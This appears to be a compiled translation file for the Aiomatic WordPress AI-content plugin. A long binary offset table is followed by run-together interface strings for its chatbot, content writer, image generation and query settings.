G1*G'\Gb„G2çGH@4HuHŠHk¨HJR.J±J43KôhKƒ]L8áLèM<N¥@N†æNmP |P*‰P´P'ÇPEïP+5QIaQl«QÍRªæR ‘SÁ2VôVÀ„W°EX-öY$ZABZ„ZC¢ZZæZ¦A[è^8üa­5hñãh‘Õjgk={m¹m#ÕmùmnE5n&{n¢n!Àn#ânIoPp_p…np#ôp4q+Mq*yqJ¤q6ïq7&r^r3qr¥r¸rdËrC0s@tsµs-ÄsVòsItct#~t¢t3Àtôtu*uZHu>£uDâuJ'vDrv-·vGåv/-wL]w7ªwUâw$8xC]x¡x"Àx'ãx[ yVgyS¾yKzI^z¨zpÅz‹6{:Â{rý{ep|Ö|:ö|1}2J}§}}.% Tg`‚ȃ؃hèƒtQ„Æ„Ü„ó„2…);…!e…a‡…ƒé…om†I݈ç'ŒI’#Y’%}’)£’)Í’3÷’3+“O_“4¯“'ä“c ”dp”5Õ”9 •=E•ƒ•,›•È• Í•:ו2–2E–x–}–‚–––—¼+—°è—°™˜J™S™ \™+h™I”™ Þ™ÿ™š,.š+[š‡š!§š Éš6ך,›0;›"l››ž›§›EÄ›[ œ4fœ_›œ"ûœ/,NL{NÈOžYgž$ÁžM枘4 Í QÑ #¡(2¡,[¡ ˆ¡3©¡(Ý¡N¢DU¢1š¢Ì¢8ä¢8£,V£6ƒ£>º£4ù£*.¤JY¤¤¤øĤ½¦̦ݦ:ù¦T4§U‰§%ߧ*¨0¨ N¨#o¨B“¨(Ö¨ƒÿ¨ƒ©uªo‡ªC÷ªA;«‚}«V¬MW¬!¥¬;ǬM­Q­Mh­W¶­7®8F®G®HÇ®>¯*O¯Fz¯nÁ¯×0°Y±Zb±0½±Lî±Y;²F•²WܲX4³³ª´z¹¶|4·•±·vG¸¾¸œL¹¶é»“ ¼4½7´¾ì¾¨n¿|Àz”À|ÁÔŒÁèaÂ\JÃC§ÃëÃc ÅknÅÚÅoíÆU]Ç[³Ç{Èm‹È…ùÈÉíÊÙþËÞØÌ ·ÍÂXÎRÏ2nϾ¡Ð¾`ÑÓxŸÓ€ÔÁ™Ô'[ÚQƒÛÕÕÜq«Ýøßmᶄáê;â^&ä^…æ§äè©Œé¥6ê§Üêj„ë\ïëbLìs¯ì}#íN¡íðî ï(ïgDïN¬ïOûï&KðyrðDìðL1ñ’~ñ¤òg¶ò®óÍó‡åó†mô‚ôô{wõŠóõ|~ö/ûö¡+÷Í÷(á÷5 ø@ø\ø*|ø§ø ½ø&Êøkñø$]ù‚ùv“ù, ú7ú4Nú2ƒú2¶ú&éú$û 5û Vûwû–û;µûñû/ ü6<ü1sü,¥ü@ÒüEýYý2yý¬ý ÃýEÎý þY"þ|þ‚þ0”þAÅþÿMÿFkÿ[²ÿ90HDy8¾*÷O",r*ŸÊ"á$$)I:s3®VâW9"‘]´:MCë/mK6¹Œð]}kÛ3G C{ b¿ 4" =W '• 9½ :÷ R2 „… / V: •‘ /' LW ó¤ `˜/ù&)'PrxfëXRQ«CýOAE‘…×%]&ƒ%ªAÐa@t µFÖ~Mœ8ê:#Ž^Lía:Cœ_àó@‰4¾ÁXÒ+?2T±‡a9 $› òÀ 5³!ëé))Õ0ùÿ75ù>ë/G)N÷EU4=\èrd[kùsrmyÏttD†þ¹†þ¸‡µ·ˆšm‹@ŽIŽ6fŽŽ2°ŽãŽ0DS$Z¡²ÃÔåö(8HXhxˆ ˜¦)¿–é €‘$‹‘%°‘uÖ‘kL“H¸“H”VJ”N¡”0ð”!•=•Y•n•+†•(²•Û• â• ì•2÷• *–K–Ek–^±–2—GC—‹—”—'§—`Ï—[0˜eŒ˜cò˜CV™9š™eÔ™:šIš(Zš'ƒš «šÌšQÞšŒ0›–½›’Tœ„眈l)õ)žIž[ž6sžªžJÄžeŸ]uŸYÓŸO- } , Ê }ê 'h££,Ÿ£ZÌ£'¤`E¤^¦¤H¥1N¨€¨Ÿ¨¯¨…¸¨ü>©;«!Y«.{«Qª«Eü«CB¬†¬:¤¬!߬-­$/­>T­“­1²­ ä­®$®3®4S®ˆ®§®Ç®.Ø®8¯:@¯H{¯įBÞ¯L!° n° y°…°–°4§°Ü°8í°M&±#t±2˜±˱8ã±1²)N²;x²#´²%ز9þ²08³Zi³DijE ´<O´=Œ´3Ê´xþ´‚wµ}úµ+x¶r¤·;¸&S¸Jz¸ Ÿ(渹4$¹Y¹.j¹™¹#ª¹4ιBº6FºD}º!º9ä¿5À+TÀN€À5ÏÀÁˇÁSÂdÂ<xÂAµÂG÷Â"?ÃMbðÃ0ÃÃôÃ,Ä0Ä0CÄtÄ^yÄ_ØÄb8Å_›ÅBûÅ)>ÆGhÆ °Æ*»ÆæÆûÇ0È!?ÈBaÈG¤ÈQìÈU>É8”É(ÍÉöÉ Ê*Ê!=Ê*_ÊôŠË§Ó'Ô µÔ*ÂÔ.íÔÕ <Õ(GÕŸpÕ‚×W“×òë×ÅÞس¤Ù°XÚ³ Ûž½Û˜\ÜŒõܘ‚Ý}Þ{™Þoßy…ß ÿß( à3àHàU^à´àWÑà¢)á}Ìâ'Jæsrç2æè&é*@ékê2‰ê¼êf×ê,>ëkë˜ûî”ð—ð›ð£Ÿð$CñDhñx­ñ&óØAôþõŽö¨÷H«÷ô÷2 øø<ø¥5ùAÛù¡ü¿ý‡ÛþÓc Ð7 ò Žû ÏŠ øZ °S „ ~‰ % å. ø   8- Tf ¹» µu" ¿+$ Pë& Þ<( å* , }/ G™1 þá3 à6 ´û9 Ì°: Ì}; J< &S< z< < ,ž< Ë< (Ü< += 51= fg= dÎ= >3> Dr> (·> -à> <? <K? $ˆ? -­? #Û? 9ÿ? !9@ 5[@ 5‘@ Ç@ AWD =™D 1×D I E ˆSE -ÜE ? F ˆJF AÓF ~G %”G 7ºG 9òG #,H ©PH núH iI |I z L JˆM ÔÓO ƨQ oR ï‡T wW •ŒY "] 2+_ 3^_ ;’_ Î_ Ù_ 8ô_ #-` Q` f` Sp` Ä` #â` *a 1a +Ea 'qa ¼™a aVd ¸e þÅg Äi ,ái dj Rsk NÆk *l =@l a~l Ràl l3n ^ n eÿn Veo p¼p b-q tq 1r .7s xfs :ßs 7t ýRt ~Pu &Ïu böu Yv °Ûy 9Œ{ &Æ{ Æí{ c´| 3~ L~ j 4„ Ö¹† ׇ hˆ Uè‰ b>Œ J¡ hì qUŽ ¾Ç §† .‘ 4’ <E“ ô‚” Bw• ‡º– 6B— “y˜ q ™ Öš ìV› C raŸ ]ÔŸ 2  G  ug  ~ݨ w\± xÔ¹ tMº zº 3=» Sq» !Å» 'ç» !¼ R1¼ :„¼ 8¿¼ -ø¼ @&½ 7g½ $Ÿ½ Ľ 2Ù½  ¾ "¾ 49¾ n¾ ¾ Ž¾ ¢¾ Á¾ ݾ î¾ û¾ . ¿ ;¿ .L¿ ”{¿ À À 0À 8À JÀ RÀ dÀ kÀ qÀ ,€À ­À 2ÀÀ óÀ YÁ YiÁ .ÃÁ òÁ  0! R )i “ ,¢Â Ï 0ë à &%à Là .]à ŒÃ 2¬Ã ßà 2ôà 'Ä 9Ä BÄ LÄ $]Ä í‚Ä #pÅ !”Å ¶Å !ÃÅ åÅ .ëÅ Æ 0-Æ E^Æ ¤Æ c·Æ Ç Ü&Ç âÊ æÌ tÿÌ DtÍ B¹Í üÍ $Î 98Î ErÎ !¸Î ÚÎ ,éÎ Ï /#Ï (SÏ 1|Ï F®Ï &õÏ Ð )=Ð .gÐ –Ð 5¯Ð åÐ 0Ñ ,2Ñ "_Ñ /‚Ñ $²Ñ &×Ñ þÑ Ò ".Ò QÒ nÒ =€Ò ¾Ó ,ÍÓ úÓ :Ô RÔ 4iÔ +žÔ BÊÔ ! Õ */Õ HZÕ £Õ ¸Õ .ÉÕ MøÕ FÖ 8aÖ šÖ 0­Ö ÞÖ .ïÖ × 45× j× "}× 8 × -Ù× .Ø <6Ø .sØ 2¢Ø OÕØ J%Ù pÙ 0ŠÙ 1»Ù 0íÙ 1Ú PPÚ Q¡Ú .óÚ _"Û Y‚Û ]ÜÛ B:Ü }Ü (ˆÜ ±Ü ,ÀÜ @íÜ .Ý 8Ý CÝ PÑÝ ["Þ [~Þ /ÚÞ 0 ß <;ß <xß _µß `à Rvà UÉà Zá Žzá ‹ â Œ•â R"ã `uã ŠÖã ‹aä iíä qWå ”Éå U^æ V´æ ç Ž™ç (è Ž¶è cEé `©é U ê …`ê †æê 8më 8¦ë Œßë lì €ìì 8mí =¦í =äí þ"î ½!ï ßï çäð öÌò IÃó J ô 'Xô Y€ô Úô %íô #õ 7õ OQõ W¡õ ƒùõ }ö %™ö %¿ö $åö  ÷ "÷ 1÷ 8A÷ Xz÷ SÓ÷ ,'ø Tø -`ø .Žø ;½ø ùø ù ""ù Eù KPù œù ©ù zÅù @ú N`ú ¯ú Çú “Øú Olû Õ¼ý ’ 4© Þ é   !3 U Du º Ø .÷ 5& m\ 4Ê !ÿ 4! 7V :Ž #É \í J -W %… « ¾ Ò ß ò !ù  2 ŽA dÐ °5 æ ÿ 2 LG ” 9© $ã  „" ˆ§ 0 Q #d !ˆ ª B± Yô 0N µ .5 Gd ¬ OÇ ) WA Ù "] ¢€ Ë# Eï K5  P î ? 0B $s •˜ €. E¯ õ    23 f 4€ µ Ë gY ¹Á n{ &ê  *2 G] ¥ µ# ?À# @$ 5A$ 6w$ B®$ {ñ$ nm% jÜ& WG( XŸ( Xø( TQ) 9¦) gà) 6H* * Œ* "•* ¸* ¼* Ñ* ì* 8 + BB+ '…+ ,­+ +Ú+ *, J1, .|, E«, (ñ, ;- *V- (- ª- NÇ- . (. Š<. #Ç. ë. ö. / // hH/ º±/ l0 „0 œ0 ´0 Ð0 å0 ü0 1 &1 =1 KW1 £1 %2 J:2 3…2 3¹2 í2 3 3 $$3 'I3 Pq3 Â3 1Í3 "ÿ3 j"4 4 D§4 3ì4 5 (+5 iT5 ¾5 Õ7 RU8 1¨8 <Ú8 =9 U9 `9 \9 1Þ9 X: Yi: bÃ: &; 0; I; \; :{; ¶; Ó; å; ø; < < (< :< K< "c< :†< Á< Ó< ä< ï< = *= Ã>= > > )6> `> 1i> $›> À> 2Õ> 0? 9? V? 7s? .«? Ú? #ø? @ 3@ !K@ m@ @‡@ (È@ Dñ@ "6A FYA $ A "ÅA èA B B I5B 'B §B °B ÑB ëB C C C )C +BC nC /zC ªC ÊC 9ÚC D !D 7AD KyD ÅD ÚD BôD B7E zE ’†E ¿F ›ÙF ¸uG ×.H \I £cI PL cXL Q¼L aM wpM sèM w\N sÔN WHO h O j P TtP ‡ÉP nQQ HÀQ W R NaR ?°R ?ðR b0S O“S QãS M5T )ƒT H­T ?öT =6U AtU M¶U DV GIV D‘V ZÖV u1X §X ›5Y OÑY ì![ T^ c^ ìo_ 6\d n“f ch 3fh išh ¢i p§l !m 9:m 7tm -¬m ƒÚm :^n B™n Ün ôn o o .+o Zo .oo žo 8¹o "òo p -p

                    š¹ %Ù¹ ÿ¹ ( º 3º Dº Qº qº *wº *¢º =ͺ = » )I» Îs» +B¼ Cn¼ D²¼ .÷¼ /&½ ¨V½ Wÿ½ 7W¾ /¾ 1¿¾ ñ¾ , ¿ !7¿ 'Y¿ 4¿ ‹¶¿ 6BÀ 9yÀ J³À KþÀ JÁ 4jÁ WŸÁ :÷Á 2 M :\ &— %¾Â ä )à =*à Thà e½Ã l#Ä cÄ fôÄ 5[Å '‘Ç *¹É läÉ +QÊ V}Ê ÔÊ 2êÊ Ë b=Í m Ï mÑ O|Ò 3ÌÒ ?Ó G@Ó 7ˆÓ RÀÓ 0Ô !DÔ 'fÔ #ŽÔ ²Ô 6ÇÔ þÖ ô× !Ø \5Ø C’Ø DÖØ Ù (Ù 1Ù 0DÙ uÙ ~Ù U’Ù ]èÙ 6FÚ B}Ú <ÀÚ /ýÚ -Û 6<Û !sÛ A•Û #×Û UûÛ jQÜ ¼Ü #ÜÜ :Ý X;Ý Y”Ý LîÝ M;Þ M‰Þ G×Þ Kß fkß 5Òß ¶à —¿á Wã ,fã 1“ã *Åã ðã ýã ä ä 2ä Iä gä „ä !¢ä Ää (Ùä å å !,å Nå #_å !ƒå ¥å 1¸å $êå Xæ *hæ &“æ Hºæ )ç %-ç 1Sç j…ç ðç Z é |eé "âé ê /ê Dê 'Oê Ewê ½ê 'Ûê 0ë '4ë 1\ë wŽë Iì sPì Äì 7Uí í 0©í *Úí Dî mJî ¸î P×î (ï Gï 8cï 9œï Öï 4÷ï [,𠇈ð Vñ pgñ Øñ çñ wò }ò 0Œò 1½ò (ïò ó 26ó <ió [¦ó Lô Oö >lö Ä«ö !p÷ 8’÷ Ëø ×éø ßÁ a¡ t _x ‘Ø ²j < :Z 1• {Ç |C 9À #ú  û> : íX 'F n Ú  çç Ï £ì x   ƒ§ –+ ¤Â rg! rÚ! sM" éÁ" ˜«# ŸD% …ä% ¸j& œ#' vÀ' Ç7* šÿ, òš- œ0 \*2 ‹‡2 Ë3 ¢ß3 ‚4 œ5 r­5 ¿ 6 »à6 ¡œ7 >; €P< çÑ< ™¹= ŠS> PÞ> M/@ ¿}D «=E ©éE °“F |DI ·ÁL }yM ÷M Œ‡N zQ ÁQ ³QR ªS T°S 1U ¬7V säV ÖXW È/X •øX cŽY ƒòY avZ ZØZ w3[ «[ ¸\ –Ù] Îp_ Ô?` ,a òAc š4d ŒÏd m\e hÊe …3g ‡¹h ¥Aj Õçk n½l Z,n ‚‡o • q ˆ q )r Ž·s ŒFt oÓt €Cv ‚Äv ÓGw ”x ˜°x Iy —×z †o{ †ö{ Œ}| › } ¦} ªD~ ‚ï~ or ‚†‚e è ƒ W$„ “|„ |… t… ¥† v¨‡ éˆ . ‰ H8‰ #‰ £¥Š ^I‹ c¨‹ ® Œ d»Œ ´ 2Õ ?Ž aHŽ  ªŽ 8K 6„ Y» T ºj †%‘ Ò¬‘ h’ Šè’ Ûs“ «O” ´û” 9°• Âê– Þ­— òŒ˜ |™ ¢ü™ ‘Ÿš 1› ³? Ÿóž —“  ²+¢ ‘Þ£ |p¥ jí¥ |X¦ ˆÕ¦ Ô^§ j3¨ fž¨ v© k|© °è© ¸™ª õR« yH¬ V¬ a­ H{­ VÄ­ ú® n¯ Ž…° ¡± s¶± ¿*µ ¨êµ ¯“¶ …C· ¹É· Tƒ¸ ›ظ Otº .ļ .ó¾ m"¿ }¿ qÀ ·€À r8Á ЫÁ Ô| ×Qà Å)Ä ¤ïÄ Ê”Å x_Æ vØÆ qOÇ \ÁÇ 6È ªUÈ ßÉ ªàÉ õ‹Ê =Ë h¿Í =(Ï ŠfÑ ›ñÑ •Ò V#Ó <zÓ _·Ó Ô ™5Ö ¤ÏÖ ´t× g)Ù 2‘Ù fÄÙ £+Ú ŠÏÚ )ZÛ ]„Û âÛ Ý Q$Þ ³vÞ ‘*ß ¼ß +Úà Uâ V\â u³â b)ã nŒã üûã _øä ªXå Òæ ÈÖæ NŸç {îç 3jè 8žè >×è Ié ?`é ? é ?àé @ ê Saê gµê Hë 9fë  ë *­ë Øë .éë ­ì -Æì ôì ýì í *(í Sí hcí gÌí g4î iœî rï ‡yï Kñ FMò E”ó RÚô ^-ö ÖŒö ‚c÷ ‘ æø ¦x ‰ ©  ´ ÛÊ Ì¦ ¹s' Ÿ-0 aÍ8 ñ/@ !H U±J DK }LM ÊM ÏêN ´ºO ?oP %¯X TÕ` <*i Lgq 3´y è 5öŠ ,“ H› V¤ çj« TR´ §¼ T¬Ã Ì eÓ pmÓ EÞÓ $Ô mµÔ w#Õ )›Õ ¬Å× ùrÙ †lÛ ´óÛ C¨Ý CìÝ `0Þ E‘Þ .×ß 7à l>à T«á ªâ „«ã …0ä H¶ä xÿä Gxç ©Àç ‹jè Göè E>é ¢„é C'ê „kê Àðë ­±ì ­_í g î œuî Uð }hð ,æñ ó !%÷ XGû , ý Ívá×X p0 ³¡ ³U 9 nC F² :ù ž4¹Ó.}¼c:#žKÂ@UOÉ¥SoôƖ{­ ÀëaiMl·¤$ÎÉ\˜õȃÙL!Ý&"$µ•$þK&HJ)Q“)–å);|+w¸+g0-¥˜-U>/—”/R,11S3“d3Tø4M5ªÝ6Vˆ8Kß8‡+9h³:’;I¯<„ù<N~>ƒÍ>JQ@ˆœ@L%B‰rBGüC„DDJÉE‰FKžG‰êG`tIšÕI?pKw°K·(MCàN$OU,R•‚SyTv’Tá UËëU¯·VgY¢z\†_ä¤a­‰d­7e åeüïhoìk;\lR˜m§ën«“o•?pžÕptr‡uvŒxª{m®|Õ~ òÞý‚³Üƒd„õ†£þˆ¢‰Ý¿Šá‹zŒ†úŒ Ž‡ ‘}¨‘È&™5ï™K%¡‚q¡ô¡þ’£b‘¤<ô«:1¬fl¬Ó­Xó°XL²v¥²T³¡q´zµ Žµ¸˜¶Q¸ Z¹ëe»uQ¿Ç§åĿǺMÌWÏ™`ÒúÕbÙ|Ü ÞŒ0葽ê¢OïÇòï6ºóEñóo7õ§õ0ÁöÿòöòøŸùB0úsúRüxWüxÐüŸIý¢éý±Œ>±Ï@|Â?Љnø§†j. £™ ¶= oô ‚d Qç ;9wuKí9<¹Qö0H§y¥!œÇwdmÜ€JóË꿲ª{]Ùj²ƒ –6!›Í!—i" # $.$N$&a$ˆ$&‘$.¸$ç$*ö$0!%ˆR%Û%hì%6U&DŒ&4Ñ&<'aC'.¥'ZÔ'&/(ZV(?±(0ñ(`")@ƒ) Ä)(Ï)ø). *f8*MŸ*í*4+9+H+ X+ye+Tß+J4,P,]Ð,.-0A-r-2‡-2º-*í-).B.S.4j.5Ÿ.FÕ.7/0T/1…/·/8È/20/40d0s00†0"·0cÚ0Q>11!¤3©Æ3âp4S6 i6$v6›6>­6:ì6+'7S7j7Š77(²7 Û7è7~ï7n8E‡8NÍ8?9>\97›9;Ó93:IC:::3È:=ü:7:;Ar;i´;#<B<6Ó<. =C9=D}=6Â=2ù= ,>â9>#?C@?=„?<Â?&ÿ?&&@M@7^@'–@=¾@:ü@,7A>dA£A!¾AáàAÂCàCÿCD,DED¯_DG."GQG"dG‡G,–G ÃGÐG.áGH:+H1fH+˜H8ÄH#ýH<!I1^I/IÀI'ÏI'÷IÆJ’æJyLLªLÃL2ØL M4 MUMsM0†M·M*ÑM üM@NIN RN4]N2’N)ÅN8ïNA(OjO%ŠOP°O1P"3P"VPTyP!ÎPðP²€S€3V7´Y&ìY&ZM:Z”ˆZ˜[g¶[@\O_\ ¯\¿¹\y]ˆ]¤],³]6à]ð_b^d=}e`»eˆf¥fµgBÅhiSˆl´Ümü‘pÞŽt<muþªuã©vþx¸ŒzkE{À±{‹r|šþ||™ˆ€pŸ€®D¿„6…R;…—Ž…Þ&†¬‡e²ˆ‰{¦‰u"Šk˜Šv‹Ì{Œ–HŽÒߎu²ˆ(k±"‘G@’£ˆ“,”ƒ3•-·•0å•]˜[t˜NИ:™"Z™?}™½™/Ú™ š)š5Fšg|š\äšRA›Œ”›€!œö¢œ±™‘Kž‘ÝŸYo¡NÉ£Þ¥1÷§)¨{C¨j¿©'*ª¶R«¬ ¬¶¬'y­‚¡¯r$±—²(˜³Á´.CµXrµi˹W5¾iÂ÷Æ.Ç 7ÇBÇUÇDtÇ1¹ÇGëÇ@3ÈtÈ’È$¥ÈSÊÈPÉJoÉ4ºÉ5ïÉ7%Ê]Ê,}ʪÊ8ÈÊËÓËŠðͽ{ÎØ9ÏÑr/Öˆ¢ÖÁ+×FíÙ 4ÚAÚ]ÚcÚlÚq‡ÚfùÚB`ÛC£ÛçÛCÜSDܘܩÜ&ÃÜ/êÜ1Þ*LÞ+wÞ£Þ¶ÞÅÞ‚åÞ hß(uß žß«ß.¼ßëß4à7à@àZàuuàëà!òàá*-áXá_á/gá*—áÂáCÆá7 â;Bâ;~â"ºâ;Ýâ"ã"<ã_ãcã4tã/©ã.Ùãä('ä'Pä;xä4´äéä:îè-)é!Wé.yé¨éb·é>ê@Yêšì,ºìTçì<íOí;bí&žíÅí&âí% î/îNîkî|î(…î)®î'Øî)ï=*ïXhïYÁïxð}”ðKñ.^ñcñ|ññSnò_Âò}"óª ó¥Kô’ñô„õMõ<ëõ9(ö böXƒö"ÜöQÿöTQ÷?¦÷zæ÷_aøòÁø:´ùôïùÉäý®ÿ%Áÿçÿ2úÿ-¯>î/ý -: S^eofÕL<M‰8×(4?t2‰!¼6Þ5AFvˆÿ)#Mdy1”Æ&å )GZn~§ÀÐáè 2&Y i | #š ¾ Õ 0ð <! (^ ‡ $  $Õ  ú  Q' 9y g³ 23"f*‰ ´2Õ;6gr Úä´<Dñ6! J#ak%jÍ%ù8&-2'8`'š™'24+3g+0›,#Ì,ð,--60-8g- -³.Ë.ä.ø.< /#J/n/w/•/œ/³/¸/(Á/ ê/*÷/Ü"0?ÿ0J?1GŠ13Ò1¿2™Æ5Q`6ø²7[«8o@–w@CAÐRAž#C†ÂHÔII@Jý_J]KÍaLÙ/M N”‹N O~°OV/Pz†QURFWR žS‚«Té.UÒVpëWo\XqÌXi>Y†¨Y€/Z†°Z‡7[h¿[ (\6\ ¶\MÃ\;].M]|])›])Å]*ï]"^j=^o¨^%_$>_!c_(…_\®_c `Po`À`™Ó`,mcšc&­c+ÔcmdndB‰d>Ìd< e4He!}e<ŸeÜexøeñqfRcj!¶n*Øn oAoPoUîošDqßqçqýqr>&r&er Œr™r€¹tT:w”w#$xHx]xlxƒx%™x&¿xNæxE5y9{{Rµ{ |8|N|c|f| i|%t|š|Ò*~ý!‚$<‚a‚‚™‚ž‚¥‚´‚Ó‚ é‚ ƒ ƒ$ƒ;ƒYƒ?wƒ:·ƒ_òƒ!R„t„+’„¾‡Ї?î‡q.‰² ŠÃS‹{Œ“Œ#6Ž=TÞ’Šq‘1ü‘o.’;ž’PÚ’°+“YÜ“‰6” À” Ì•-Ú– ——f.—%•— (Vision) - AI Content Blocks - Advanced Mode - Amazon Blocks - Content Gathering Blocks - Content Media Blocks - Content Processing Blocks - Content Saving Blocks - Express Mode - to enable, add a HeadlessBrowserAPI key in the plugin's 'Main Settings' plugin with extra features and functionality. Check additional available used from a maximum of "Advanced AI API Settings" Tab"Automatic Content Editing Settings" Tab"Editing Templates and Options" Tab"Manual Content Editing Settings" Tab# Actions# Of Posts%%previous_comments%% Shortcode Comment Count:%1$s - Recommended Value: %2$s.
                    Max input vars limitation will truncate POST data such as menus. See: Increasing max input vars limit.%1$s - Recommended Value: %2$s.
                    Post Max Value Length limitation may prohibit the Theme Options data from being saved to your database. See: Suhosin Configuration Info.%1$s - We recommend setting max execution time to at least 600.
                    To generate long articles, 1000 seconds of max execution time is recommended.
                    See: Increasing max execution to PHP%1$s - We recommend setting memory to at least 64MB. To learn how, see: Increasing memory allocated to PHP.%s seconds'Dall-E Image' Module:'God Mode' Module (WordPress Function Calling) - BETA:'Ultimate Membership Pro' Integration'Ultimate Membership Pro' Integration Tutorial Video:'Ultimate Membership Pro' Integration:'omatic plugins created by CodeRevolution(Please increase this value if you want to upload larger datasets)(Please increase this value if you want to upload larger files)(int) - 4 digit year (e.g. 2011).(int) - Day of the month (from 1 to 31).(int) - Month number (from 1 to 12).(int) - number of post to alter. Use 'posts_per_page'=-1 to alter all posts.(int) - number of post to displace or pass over.(int) - use page id.(int) - use page id. Return just the child Pages.(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. -1,-2,-3](opens in a new tab)(string) - Custom field key.(string) - Custom field value.(string) - Designates the ascending or descending order of the 'orderby' parameter. Defaultto 'DESC'.(string) - Passes along the query string variable from a search. For example usage see: this link.(string) - Sort retrieved posts by parameter. Defaults to 'date'.(string) - The post status to return. Valid values are: publish, pending, draft, auto-draft, future, private, inherit, trash, other-custom-post-statuses(string) - use 'user_nicename' (NOT name)(string) - use page slug.(string) - use post slug.(string,string) - The post types to return. Valid values are: post, page, revision, attachment, other-custom-post-types. To match any post type enter the keyword: any. The default is post (if left empty).(string,string,string) - use category slugs instead of names. (string,string,string) - use tag slugs instead of names. * = required+ More, click for details://1.envato.market/aiomatic//coderevolution.ro00-3511-2551010-2501024x10241024x1792 (only for Dall-E 3)1792x1024 (only for Dall-E 3)22.5256x256256x256 (only for Dall-E 2)33803d-model45512x512512x512 (only for Dall-E 2 & Stable Diffusion)5806789A flag indicating that only images suitable for all ages should be returned.A selection of plugins, highlighted for you.AI API OptionsAI AssistantAI Assistant First MessageAI Assistant IDAI Assistant ID*AI Assistant Name:AI Assistant OptionsAI Assistant Role:AI AssistantsAI Assistants Tutorial VideoAI Asssitant IDAI Avatar Image:AI Baloon Background Color:AI ChatbotAI Chatbot Coloring Options:AI Chatbot Configuration DetailsAI Chatbot Default Styling Options:AI Chatbot Embedding On Remote Sites Settings:AI Chatbot Limitations:AI Chatbot Moderation Options:AI Chatbot Settings:AI Chatbot Tutorial VideoAI Comment ReplierAI Comment Replier Tutorial Video:AI Comment Writer Model:AI Comment Writer Prompt:AI Comment Writer Settings:AI Comment Writer Tutorial Video:AI CommenterAI Content CheckerAI Content Completition Options:AI Content Creator Settings:AI Content Editing Options:AI Content EditorAI Content Editor Temperature:AI Content Editor Top_p:AI Content Editor Tutorial VideoAI Content Filters Feature Tutorial Video:AI Content Minimum Character CountAI Content Minimum Character Count:AI Content Writer Temperature:AI Content Writer Top_p:AI Default Featured Image Selector Model:AI Default Featured Image Selector:AI EmbeddingsAI Embeddings Auto Indexing Settings:AI Embeddings Optimization Settings:AI Embeddings Settings:AI Embeddings Template Settings:AI Font Color:AI FormsAI Forms Image Options:AI Forms Importer/ExporterAI Forms Options:AI Forms Restrictions:AI Forms SettingsAI Forms Styling:AI Frequency PenaltyAI Frequency Penalty:AI GeneratedAI Generated Audio/Video Location:AI Generated ContentAI Generated ExcerptAI Generated Featured Image Options:AI Generated Image Resize Height:AI Generated Image Resize Quality:AI Generated Image Resize Width:AI Generated Image Size:AI Generated ImagesAI Generated ReplyAI Generated ResultsAI Generated SEO FieldsAI Generated SEO Meta DescriptionAI Generated TagsAI Generated TitleAI Image Chatbot Image Size:AI Image Chatbot Settings:AI Image CountAI Image Dall-EAI Image From Below SelectorAI Image ModelAI Image Model:AI Image SelectorAI Image Source:AI Image Stable DiffusionAI ImagesAI Initial Messages (One Per Line):AI Internet AccessAI Internet Access SettingsAI Linking Keyword Extraction Model:AI Linking Keyword Extraction Prompt:AI Media Library Extensions:AI ModelAI Model For Category Generator:AI Model For Comparison Table GeneratorAI Model For Comparison Table Generator:AI Model For Content GeneratorAI Model For Content Generator:AI Model For Customer Reviews Analysis GeneratorAI Model For Customer Reviews Analysis Generator:AI Model For Excerpt GeneratorAI Model For Excerpt Generator:AI Model For Intro GeneratorAI Model For Intro Generator:AI Model For Outro GeneratorAI Model For Outro Generator:AI Model For Post Tag Generator:AI Model For Pros & Cons GeneratorAI Model For Pros & Cons Generator:AI Model For Q&A GeneratorAI Model For Q&A Generator:AI Model For Sections GeneratorAI Model For Sections Generator:AI Model For Text Generator:AI Model For The AI SEO Meta Description Generator:AI Model For The Categories Generator:AI Model For The Category GeneratorAI Model For The Comments Generator:AI Model For The Headings GeneratorAI Model For The Headings Generator:AI Model For The Post Tag GeneratorAI Model For The Tags Generator:AI Model For The Text GeneratorAI Model For The Title Text GeneratorAI Model For Title GeneratorAI Model For Title Generator:AI Model For Title Text Generator:AI Model OptionsAI Model To Use For Text Editing:AI Model To Use:AI Model TrainingAI Model*AI Moderation Model:AI OmniBlock Templates ManagerAI OmniBlocksAI OmniBlocks TutorialAI Persona First MessageAI PlaygroundAI Post Writer Default Content Prompt:AI Post Writer Default Excerpt Prompt:AI Post Writer Default Model:AI Post Writer Default SEO Meta Description Prompt:AI Post Writer Default Settings:AI Post Writer Default Tags Prompt:AI Post Writer Default Title Prompt:AI Presence PenaltyAI Presence Penalty:AI PromptAI Restrictions For Logged In Users:AI Restrictions For Not Logged In Users:AI SeedAI SettingsAI Shortcodes & FormsAI Talking Avatar Height:AI Talking Avatar Width:AI Taxonomy Description WriterAI Taxonomy Description Writer Model:AI Taxonomy Description Writer Prompt:AI Taxonomy Description Writer Settings:AI Taxonomy Description Writer Tutorial Video:AI Taxonomy Description Writer:AI Taxonomy SEOAI Taxonomy SEO Description Writer Model:AI Taxonomy SEO Description Writer Prompt:AI Taxonomy SEO Meta Writer Settings:AI TemperatureAI Temperature:AI TextAI Text For Each Line Of InputAI Top_pAI Top_p:AI Usage LimitsAI Video Stable DiffusionAI VideosAI Voice Output Format:AI Voice Selector:AI WriterAI Writer OptionsAI Writer Prompt For Email Sending Awareness:AI Writer TargetAPI CX Value (optional)API Call Cost (USD)API Call CountAPI Key (optional)API Key:API KeysAPI Keys (One Per Line) - *Required:API Keys (One Per Line):API ParametersAPI Requests TimeoutAPI Token CountAPI keyAPI key into the plugin's settings (depending which service you choose). You can do this by going to the 'API keys' tab from above. In this tab you will find also some additional API keys to add, likeAPI key orAPI retry max countAPI usage for this user account: APrice:LowToHighAbove Input FieldsAbsolute Timeframe:Access key (optional)Acquiring the Aiomatic plugin does not include any OpenAI credit. Purchasing Aiomatic grants you access to the plugin's advanced features, but it doesn't cover any API credit. You'll need to buy credit from OpenAI or a subscription from AiomaticAPI separately.ActionActionsActivate Plugin LicenseActiveActive PluginsActivity & LoggingActivity Log:Activity LogsActor Source Image URL:Add A New AI FormAdd A New Form Input FieldAdd A New OmniBlock TemplateAdd A New OmniBlock To The Above Queue (Drag And Drop):Add A Related Video To The End Of The PostAdd A Related Video To The End Of The Post:Add A Relevant YouTube Video To The ArticleAdd A Relevant YouTube Video To The Article:Add AI Generated Content:Add AI Generated Content: This will automatically append or prepend AI generated content to posts.Add An Image To Each Heading Of The ArticleAdd An Image To Each Heading Of The Article:Add Article 'Customer Reviews Analysis' SectionAdd Article 'Customer Reviews Analysis' Section:Add Article 'Pros & Cons' SectionAdd Article 'Pros & Cons' Section:Add Article 'Q&A' 